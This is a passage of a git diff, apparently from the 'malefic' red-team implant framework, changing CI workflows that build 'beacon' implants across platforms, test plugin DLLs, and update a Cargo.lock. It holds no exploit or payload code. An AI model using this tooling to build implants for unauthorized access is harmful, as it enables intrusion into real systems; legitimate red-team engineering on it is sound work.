${{ secrets.GH_PAT }} - - - name: Download rem lib - uses: robinraju/release-downloader@v1.11 - with: - repository: "chainreactors/rem-community" - latest: true - fileName: "rem_lib.zip" - token: ${{ secrets.GITHUB_TOKEN }} - - - name: Extract zip - run: | - unzip community_resource.zip -d community_resource - unzip rem_lib.zip -d rem_lib - mkdir resources_dir - mv community_resource/* resources_dir/ - mv rem_lib/dist/lib/*.a resources_dir/ - cd resources_dir - zip -r ../resources.zip ./* - cd .. - - - name: Upload resources - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run : | - gh release upload ${{ steps.set_version.outputs.VERSION }} resources.zip - release-mutant: needs: create-release runs-on: ubuntu-22.04 @@ -93,9 +65,7 @@ jobs: matrix: target: - x86_64-pc-windows-gnu - #- i686-pc-windows-msvc - x86_64-unknown-linux-musl - #- i686-unknown-linux-musl - x86_64-apple-darwin - aarch64-apple-darwin steps: @@ -114,7 +84,7 @@ jobs: target_dir="target/${{matrix.target}}/${release_dir}" docker run -v "$(pwd):/root/src" --rm -it ghcr.io/chainreactors/malefic-builder:latest \ cargo build --release -p malefic-mutant --target ${{matrix.target}} - + sudo chmod 777 -R target/ if [[ -f ${target_dir}/${binary_name}.exe ]]; then mv ${target_dir}/${binary_name}.exe output/${binary_name}-${{matrix.target}}.exe diff --git a/.github/workflows/runtime-integration.yaml b/.github/workflows/runtime-integration.yaml new file mode 100644 index 0000000..3072c12 --- /dev/null +++ b/.github/workflows/runtime-integration.yaml @@ -0,0 +1,97 @@ +name: runtime-integration + +on: + workflow_dispatch: + inputs: + toolchain: + description: 'Host Rust toolchain' + required: false + default: 'nightly-2024-09-18' + +permissions: + contents: read + +jobs: + integration: + runs-on: windows-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + submodules: recursive + token: ${{ secrets.GH_PAT }} + + - name: Install host toolchain + uses: dtolnay/rust-toolchain@master + with: + toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} + targets: x86_64-pc-windows-msvc,x86_64-pc-windows-gnu + + - name: Install plugin toolchains (for cross-version build) + run: | + rustup toolchain install nightly-2024-06-20-x86_64-pc-windows-msvc --no-self-update + rustup toolchain install nightly-2024-09-01-x86_64-pc-windows-msvc --no-self-update + rustup toolchain install stable-x86_64-pc-windows-msvc --no-self-update + rustup target add x86_64-pc-windows-gnu --toolchain nightly-2024-06-20-x86_64-pc-windows-msvc + rustup target add x86_64-pc-windows-gnu --toolchain nightly-2024-09-01-x86_64-pc-windows-msvc + rustup target add x86_64-pc-windows-gnu --toolchain stable-x86_64-pc-windows-msvc + + - name: Install MinGW + protobuf + run: | + choco install protoc mingw -y --no-progress + shell: cmd + + - name: Rust cache + uses: Swatinem/rust-cache@v2 + with: + shared-key: "runtime-integration" + cache-targets: true + save-if: true + + - name: Build 6 plugin DLLs (3 versions × msvc/gnu) + shell: bash + run: bash malefic-crates/runtime/tests/cross_version_build.sh + + - name: Build test-runtime-plugin (current toolchain) + run: cargo build -p test-runtime-plugin + + - name: Run protocol + E2E tests + run: | + cargo test -p malefic-runtime --features "host,tokio" --test test_runtime + cargo test -p malefic-runtime --features "host,tokio" --test test_e2e + + - name: 'Cross-version: msvc host × 6 plugins' + shell: bash + run: | + for T in cross_version_enumerate cross_version_pwd cross_version_cat \ + cross_version_upload_single_shot cross_version_upload_streaming \ + cross_version_coexist; do + echo "::group::$T" + cargo test -p malefic-runtime --features "host,tokio" \ + --test test_cross_version -- --exact "$T" --test-threads=1 --nocapture + echo "::endgroup::" + done + + - name: 'Cross-version: gnu host × 6 plugins' + shell: bash + run: | + for T in cross_version_enumerate cross_version_pwd cross_version_cat \ + cross_version_upload_single_shot cross_version_upload_streaming \ + cross_version_coexist; do + echo "::group::$T [gnu]" + cargo test -p malefic-runtime --features "host,tokio" \ + --target x86_64-pc-windows-gnu \ + --test test_cross_version -- --exact "$T" --test-threads=1 --nocapture + echo "::endgroup::" + done + + - name: Build reactor DLL (builtin base) + run: cargo build -p malefic-reactor --features base + + - name: Reactor C FFI test + shell: bash + run: | + gcc -o test_reactor.exe malefic-reactor/tests/c/test_reactor.c -I malefic-reactor/include + cp target/debug/malefic_reactor.dll . + ./test_reactor.exe + rm -f test_reactor.exe malefic_reactor.dll diff --git a/.github/workflows/test.yaml b/.github/workflows/test.yaml index 03d5f78..1cb3e1a 100644 --- a/.github/workflows/test.yaml +++ b/.github/workflows/test.yaml @@ -1,7 +1,6 @@ name: validate on: - workflow_dispatch: push: branches: - main @@ -13,6 +12,7 @@ permissions: jobs: generate: runs-on: ubuntu-22.04 + continue-on-error: true strategy: matrix: target: ["x86_64-pc-windows-gnu", "x86_64-unknown-linux-musl", "aarch64-apple-darwin"] @@ -21,26 +21,26 @@ jobs: uses: actions/checkout@v4 with: fetch-depth: 0 - token: ${{ secrets.GITHUB_TOKEN }} + token: ${{ secrets.GH_PAT }} submodules: recursive - + - name: Authorize Git run: | git config --global user.email "$GITHUB_ACTOR@users.noreply.github.com" git config --global user.name "$GITHUB_ACTOR" - + - name: Update submodule run: | git submodule update --init --recursive --remote -f env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITHUB_TOKEN: ${{ secrets.GH_PAT }} - name: Build for ${{matrix.target}}) shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' run: | docker run -v $(pwd):/root/src ghcr.io/chainreactors/malefic-builder:latest \ bash -c "cargo build --release -p malefic-mutant && ./target/release/malefic-mutant generate beacon && ./target/release/malefic-mutant build malefic --target ${{matrix.target}}" - + - name: Build completed run: | echo "Build for ${{matrix.target}} completed successfully" diff --git a/.github/workflows/test_local.yaml b/.github/workflows/test_local.yaml index 9dce2e4..b0e42ae 100644 --- a/.github/workflows/test_local.yaml +++ b/.github/workflows/test_local.yaml @@ -1,7 +1,6 @@ name: validate_local on: - workflow_dispatch: push: branches: - main @@ -22,26 +21,26 @@ jobs: uses: actions/checkout@v4 with: fetch-depth: 0 - token: ${{ secrets.GITHUB_TOKEN }} + token: ${{ secrets.GH_PAT }} submodules: recursive - + - name: Authorize Git run: | git config --global user.email "$GITHUB_ACTOR@users.noreply.github.com" git config --global user.name "$GITHUB_ACTOR" - + - name: Update submodule run: | git submodule update --init --recursive -f env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITHUB_TOKEN: ${{ secrets.GH_PAT }} - name: Build for ${{matrix.target}}) shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' run: | docker run -v $(pwd):/root/src ghcr.io/chainreactors/malefic-builder:latest \ bash -c "cargo build --release -p malefic-mutant && ./target/release/malefic-mutant generate beacon && ./target/release/malefic-mutant build malefic --target ${{matrix.target}}" - + - name: Build completed run: | echo "Build for ${{matrix.target}} completed successfully" diff --git a/.gitignore b/.gitignore index 730dbb3..60079b8 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,25 @@ -/target +target/ +implantpb.rs .vscode .DS_store -.idea \ No newline at end of file +.idea +remap-path.env +*.backup* +.secrets +.env.act +*.log + + +# Generated files +malefic-starship/generated/ +*.key + +# Test artifacts (large DLLs) +malefic-crates/runtime/tests/artifacts/*.dll + +# Resources: binary artifacts (distributed separately) +resources/*.a +resources/*.lib +resources/*.bin +resources/malefic.rc +resources/app.manifest diff --git a/.gitmodules b/.gitmodules index becb771..272ad1f 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,3 @@ [submodule "proto"] path = proto - url = https://github.com/chainreactors/proto.git \ No newline at end of file + url = https://github.com/chainreactors/proto.git diff --git a/Cargo.lock b/Cargo.lock index 3665181..14e21e7 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -23,15 +23,6 @@ version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" -[[package]] -name = "aead" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7fc95d1bdb8e6666b2b217308eeeb09f2d6728d104be3e31916cc74d15420331" -dependencies = [ - "generic-array", -] - [[package]] name = "aead" version = "0.5.2" @@ -42,17 +33,6 @@ dependencies = [ "generic-array", ] -[[package]] -name = "aes" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "884391ef1066acaa41e766ba8f596341b96e93ce34f9a43e7d24bf0a0eaf0561" -dependencies = [ - "aes-soft", - "aesni", - "cipher 0.2.5", -] - [[package]] name = "aes" version = "0.8.4" @@ -60,61 +40,26 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" dependencies = [ "cfg-if", - "cipher 0.4.4", + "cipher", "cpufeatures", ] -[[package]] -name = "aes-gcm" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5278b5fabbb9bd46e24aa69b2fdea62c99088e0a950a9be40e3e0101298f88da" -dependencies = [ - "aead 0.3.2", - "aes 0.6.0", - "cipher 0.2.5", - "ctr 0.6.0", - "ghash", - "subtle", -] - -[[package]] -name = "aes-soft" -version = "0.6.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be14c7498ea50828a38d0e24a765ed2effe92a705885b57d029cd67d45744072" -dependencies = [ - "cipher 0.2.5", - "opaque-debug", -] - -[[package]] -name = "aesni" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea2e11f5e94c2f7d386164cc2aa1f97823fed6f259e486940a71c174dd01b0ce" -dependencies = [ - "cipher 0.2.5", - "opaque-debug", -] - [[package]] name = "age" version = "0.11.1" -source = "git+https://github.com/chainreactors/rage?branch=main#b02ec06c7969fddd58c7c601ebf66e4e6fa76bbc" dependencies = [ "age-core", "base64 0.21.7", "bech32", "chacha20poly1305", "cookie-factory", - "hmac 0.12.1", + "hmac", "lazy_static", - "nom 7.1.3", + "nom", "pin-project", "rand 0.8.5", "scrypt", - "sha2 0.10.9", + "sha2", "subtle", "x25519-dalek", "zeroize", @@ -123,17 +68,16 @@ dependencies = [ [[package]] name = "age-core" version = "0.11.0" -source = "git+https://github.com/chainreactors/rage?branch=main#b02ec06c7969fddd58c7c601ebf66e4e6fa76bbc" dependencies = [ "base64 0.21.7", "chacha20poly1305", "cookie-factory", - "hkdf 0.12.4", + "hkdf", "io_tee", - "nom 7.1.3", + "nom", "rand 0.8.5", "secrecy", - "sha2 0.10.9", + "sha2", ] [[package]] @@ -230,12 +174,6 @@ version = "1.0.98" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" -[[package]] -name = "arrayvec" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23b62fc65de8e4e7f52534fb52b0f3ed04746ae267519eef2a83941e8085068b" - [[package]] name = "async-attributes" version = "1.1.2" @@ -260,8 +198,6 @@ dependencies = [ [[package]] name = "async-channel" version = "2.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2" dependencies = [ "concurrent-queue", "event-listener-strategy", @@ -269,39 +205,25 @@ dependencies = [ "pin-project-lite", ] -[[package]] -name = "async-dup" -version = "1.2.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c2886ab563af5038f79ec016dd7b87947ed138b794e8dd64992962c9cca0411" -dependencies = [ - "async-lock 3.4.1", - "futures-io", -] - [[package]] name = "async-executor" -version = "1.13.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bb812ffb58524bdd10860d7d974e2f01cc0950c2438a74ee5ec2e2280c6c4ffa" +version = "1.13.3" dependencies = [ "async-task", "concurrent-queue", - "fastrand 2.3.0", - "futures-lite 2.6.1", + "fastrand", + "futures-lite", "pin-project-lite", "slab", ] [[package]] name = "async-fs" -version = "2.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09f7e37c0ed80b2a977691c47dae8625cfb21e205827106c64f7c588766b2e50" +version = "2.2.0" dependencies = [ - "async-lock 3.4.1", + "async-lock", "blocking", - "futures-lite 2.6.1", + "futures-lite", ] [[package]] @@ -312,75 +234,27 @@ checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c" dependencies = [ "async-channel 2.5.0", "async-executor", - "async-io 2.5.0", - "async-lock 3.4.1", + "async-io", + "async-lock", "blocking", - "futures-lite 2.6.1", + "futures-lite", "once_cell", ] -[[package]] -name = "async-h1" -version = "2.3.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d1d1dae8cb2c4258a79d6ed088b7fb9b4763bf4e9b22d040779761e046a2971" -dependencies = [ - "async-channel 1.9.0", - "async-dup", - "async-global-executor", - "async-io 1.13.0", - "futures-lite 1.13.0", - "http-types", - "httparse", - "log", - "pin-project", -] - -[[package]] -name = "async-io" -version = "1.13.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" -dependencies = [ - "async-lock 2.8.0", - "autocfg", - "cfg-if", - "concurrent-queue", - "futures-lite 1.13.0", - "log", - "parking", - "polling 2.8.0", - "rustix 0.37.28", - "slab", - "socket2", - "waker-fn", -] - [[package]] name = "async-io" version = "2.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19634d6336019ef220f09fd31168ce5c184b295cbf80345437cc36094ef223ca" dependencies = [ - "async-lock 3.4.1", + "autocfg", "cfg-if", "concurrent-queue", "futures-io", - "futures-lite 2.6.1", + "futures-lite", "parking", - "polling 3.10.0", - "rustix 1.0.8", + "polling", + "rustix", "slab", - "windows-sys 0.60.2", -] - -[[package]] -name = "async-lock" -version = "2.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" -dependencies = [ - "event-listener 2.5.3", + "windows-sys 0.61.2", ] [[package]] @@ -394,33 +268,41 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "async-native-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9343dc5acf07e79ff82d0c37899f079db3534d99f189a1837c8e549c99405bec" +dependencies = [ + "futures-util", + "native-tls", + "thiserror 1.0.69", + "url", +] + [[package]] name = "async-net" version = "2.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b948000fad4873c1c9339d60f2623323a0cfd3816e5181033c6a5cb68b2accf7" dependencies = [ - "async-io 2.5.0", + "async-io", "blocking", - "futures-lite 2.6.1", + "futures-lite", ] [[package]] name = "async-process" -version = "2.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "65daa13722ad51e6ab1a1b9c01299142bc75135b337923cfa10e79bbbd669f00" +version = "2.5.0" dependencies = [ "async-channel 2.5.0", - "async-io 2.5.0", - "async-lock 3.4.1", + "async-io", + "async-lock", "async-signal", "async-task", "blocking", "cfg-if", "event-listener 5.4.1", - "futures-lite 2.6.1", - "rustix 1.0.8", + "futures-lite", + "rustix", ] [[package]] @@ -429,13 +311,13 @@ version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f567af260ef69e1d52c2b560ce0ea230763e6fbb9214a85d768760a920e3e3c1" dependencies = [ - "async-io 2.5.0", - "async-lock 3.4.1", + "async-io", + "async-lock", "atomic-waker", "cfg-if", "futures-core", "futures-io", - "rustix 1.0.8", + "rustix", "signal-hook-registry", "slab", "windows-sys 0.60.2", @@ -450,14 +332,14 @@ dependencies = [ "async-attributes", "async-channel 1.9.0", "async-global-executor", - "async-io 2.5.0", - "async-lock 3.4.1", + "async-io", + "async-lock", "async-process", "crossbeam-utils", "futures-channel", "futures-core", "futures-io", - "futures-lite 2.6.1", + "futures-lite", "gloo-timers", "kv-log-macro", "log", @@ -472,35 +354,6 @@ dependencies = [ [[package]] name = "async-task" version = "4.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de" - -[[package]] -name = "async-tls" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d85a97c4a0ecce878efd3f945f119c78a646d8975340bca0398f9bb05c30cc52" -dependencies = [ - "futures-core", - "futures-io", - "rustls 0.18.1", - "webpki 0.21.4", - "webpki-roots 0.20.0", -] - -[[package]] -name = "async-tls" -version = "0.12.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cfeefd0ca297cbbb3bd34fd6b228401c2a5177038257afd751bc29f0a2da4795" -dependencies = [ - "futures-core", - "futures-io", - "rustls 0.20.9", - "rustls-pemfile", - "webpki 0.22.4", - "webpki-roots 0.22.6", -] [[package]] name = "async-trait" @@ -525,6 +378,28 @@ version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" +[[package]] +name = "aws-lc-rs" +version = "1.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94bffc006df10ac2a68c83692d734a465f8ee6c5b384d8545a636f81d858f4bf" +dependencies = [ + "aws-lc-sys", + "zeroize", +] + +[[package]] +name = "aws-lc-sys" +version = "0.38.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4321e568ed89bb5a7d291a7f37997c2c0df89809d7b6d12062c81ddb54aa782e" +dependencies = [ + "cc", + "cmake", + "dunce", + "fs_extra", +] + [[package]] name = "backtrace" version = "0.3.71" @@ -540,24 +415,6 @@ dependencies = [ "rustc-demangle", ] -[[package]] -name = "base-x" -version = "0.2.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4cbbc9d0964165b47557570cce6c952866c2678457aca742aafc9fb771d30270" - -[[package]] -name = "base64" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" - -[[package]] -name = "base64" -version = "0.13.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" - [[package]] name = "base64" version = "0.21.7" @@ -582,7 +439,7 @@ version = "0.72.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "993776b509cfb49c750f11b8f07a46fa23e0a1386ffc01fb1e7d343efc387895" dependencies = [ - "bitflags 2.9.1", + "bitflags 2.11.0", "cexpr", "clang-sys", "itertools 0.13.0", @@ -619,24 +476,24 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.9.1" +version = "2.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" [[package]] name = "block-buffer" -version = "0.9.0" +version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" dependencies = [ "generic-array", ] [[package]] -name = "block-buffer" -version = "0.10.4" +name = "block-padding" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" dependencies = [ "generic-array", ] @@ -644,13 +501,11 @@ dependencies = [ [[package]] name = "blocking" version = "1.6.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21" dependencies = [ "async-channel 2.5.0", "async-task", "futures-io", - "futures-lite 2.6.1", + "futures-lite", "piper", ] @@ -704,12 +559,24 @@ dependencies = [ "pkg-config", ] +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + [[package]] name = "cc" -version = "1.2.32" +version = "1.2.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2352e5597e9c544d5e6d9c95190d5d27738ade584fa8db0a16e130e5c2b5296e" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" dependencies = [ + "find-msvc-tools", + "jobserver", + "libc", "shlex", ] @@ -719,7 +586,7 @@ version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" dependencies = [ - "nom 7.1.3", + "nom", ] [[package]] @@ -741,7 +608,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" dependencies = [ "cfg-if", - "cipher 0.4.4", + "cipher", "cpufeatures", ] @@ -751,9 +618,9 @@ version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" dependencies = [ - "aead 0.5.2", + "aead", "chacha20", - "cipher 0.4.4", + "cipher", "poly1305", "zeroize", ] @@ -767,17 +634,7 @@ dependencies = [ "android-tzdata", "iana-time-zone", "num-traits", - "serde", - "windows-link", -] - -[[package]] -name = "cipher" -version = "0.2.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12f8e7987cbd042a63249497f41aed09f8e65add917ea6566effbc56578d6801" -dependencies = [ - "generic-array", + "windows-link 0.1.3", ] [[package]] @@ -842,6 +699,15 @@ version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675" +[[package]] +name = "cmake" +version = "0.1.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75443c44cd6b379beb8c5b45d85d0773baf31cce901fe7bb252f4eff3008ef7d" +dependencies = [ + "cc", +] + [[package]] name = "colorchoice" version = "1.0.4" @@ -868,37 +734,23 @@ dependencies = [ ] [[package]] -name = "config" -version = "0.10.1" +name = "const-random" +version = "0.1.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19b076e143e1d9538dde65da30f8481c2a6c44040edb8e02b9bf1351edb92ce3" +checksum = "87e00182fe74b066627d63b85fd550ac2998d4b0bd86bfed477a0ae4c7c71359" dependencies = [ - "lazy_static", - "nom 5.1.3", - "serde", + "const-random-macro", ] [[package]] -name = "const_fn" -version = "0.4.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2f8a2ca5ac02d09563609681103aada9e1777d54fc57a5acd7a41404f9c93b6e" - -[[package]] -name = "cookie" -version = "0.14.4" +name = "const-random-macro" +version = "0.1.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "03a5d7b21829bc7b4bf4754a978a241ae54ea55a40f92bb20216e54096f4b951" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" dependencies = [ - "aes-gcm", - "base64 0.13.1", - "hkdf 0.10.0", - "hmac 0.10.1", - "percent-encoding", - "rand 0.8.5", - "sha2 0.9.9", - "time 0.2.27", - "version_check", + "getrandom 0.2.16", + "once_cell", + "tiny-keccak", ] [[package]] @@ -910,6 +762,16 @@ dependencies = [ "futures", ] +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "core-foundation-sys" version = "0.8.7" @@ -925,12 +787,6 @@ dependencies = [ "libc", ] -[[package]] -name = "cpuid-bool" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba" - [[package]] name = "crc32fast" version = "1.5.0" @@ -951,21 +807,18 @@ dependencies = [ "winnow 0.6.26", ] -[[package]] -name = "crossbeam-queue" -version = "0.3.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115" -dependencies = [ - "crossbeam-utils", -] - [[package]] name = "crossbeam-utils" version = "0.8.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + [[package]] name = "crypto-common" version = "0.1.6" @@ -976,32 +829,13 @@ dependencies = [ "typenum", ] -[[package]] -name = "crypto-mac" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4857fd85a0c34b3c3297875b747c1e02e06b6a0ea32dd892d8192b9ce0813ea6" -dependencies = [ - "generic-array", - "subtle", -] - -[[package]] -name = "ctr" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb4a30d54f7443bf3d6191dcd486aca19e67cb3c49fa7a06a319966346707e7f" -dependencies = [ - "cipher 0.2.5", -] - [[package]] name = "ctr" version = "0.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" dependencies = [ - "cipher 0.4.4", + "cipher", ] [[package]] @@ -1013,7 +847,7 @@ dependencies = [ "cpufeatures", "curve25519-dalek-derive", "fiat-crypto", - "rustc_version 0.4.1", + "rustc_version", "subtle", "zeroize", ] @@ -1029,30 +863,46 @@ dependencies = [ ] [[package]] -name = "dashmap" -version = "5.5.3" +name = "darling" +version = "0.20.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" +checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee" dependencies = [ - "cfg-if", - "hashbrown 0.14.5", - "lock_api", - "once_cell", - "parking_lot_core", + "darling_core", + "darling_macro", ] [[package]] -name = "deadpool" -version = "0.7.0" +name = "darling_core" +version = "0.20.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d126179d86aee4556e54f5f3c6bf6d9884e7cc52cef82f77ee6f90a7747616d" +checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e" dependencies = [ - "async-trait", - "config", - "crossbeam-queue", - "num_cpus", - "serde", - "tokio", + "fnv", + "ident_case", + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "darling_macro" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" +dependencies = [ + "darling_core", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "des" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffdd80ce8ce993de27e9f063a444a4d53ce8e8db4c1f00cc03af5ad5a9867a1e" +dependencies = [ + "cipher", ] [[package]] @@ -1071,13 +921,10 @@ dependencies = [ ] [[package]] -name = "digest" -version = "0.9.0" +name = "deunicode" +version = "1.6.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" -dependencies = [ - "generic-array", -] +checksum = "abd57806937c9cc163efc8ea3910e00a62e2aeb0b8119f1793a978088f8f6b04" [[package]] name = "digest" @@ -1085,17 +932,11 @@ version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" dependencies = [ - "block-buffer 0.10.4", + "block-buffer", "crypto-common", "subtle", ] -[[package]] -name = "discard" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "212d0f5754cb6769937f4501cc0e67f4f4483c8d2c3e1e922ee9edbe4ab4c7c0" - [[package]] name = "displaydoc" version = "0.2.5" @@ -1126,14 +967,41 @@ dependencies = [ ] [[package]] -name = "either" -version = "1.15.0" +name = "dummy" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" +checksum = "3bbcf21279103a67372982cb1156a2154a452451dff2b884cf897ccecce389e0" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn 2.0.108", +] [[package]] -name = "email_address" -version = "0.2.9" +name = "dunce" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" + +[[package]] +name = "ecb" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a8bfa975b1aec2145850fcaa1c6fe269a16578c44705a532ae3edc92b8881c7" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] 